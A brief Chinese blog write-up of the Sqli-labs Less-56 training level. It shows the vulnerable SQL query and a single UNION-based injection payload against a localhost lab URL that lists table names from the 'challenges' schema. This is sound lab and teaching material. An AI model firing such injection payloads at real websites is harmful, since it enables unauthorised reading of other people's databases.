Sqli-labs Less-56 union注入 14次机会

 
更多

与less54.55形式是一致的,我们关注sql语句

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

因此给出示例payload

http://127.0.0.1/sql/Less-56/?id=-1′) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’–+

打赏

本文固定链接: https://www.cxy163.net/archives/4938 | 绝缘体

该日志由 绝缘体.. 于 2020年04月09日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Sqli-labs Less-56 union注入 14次机会 | 绝缘体
关键字: , , , ,

Sqli-labs Less-56 union注入 14次机会:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter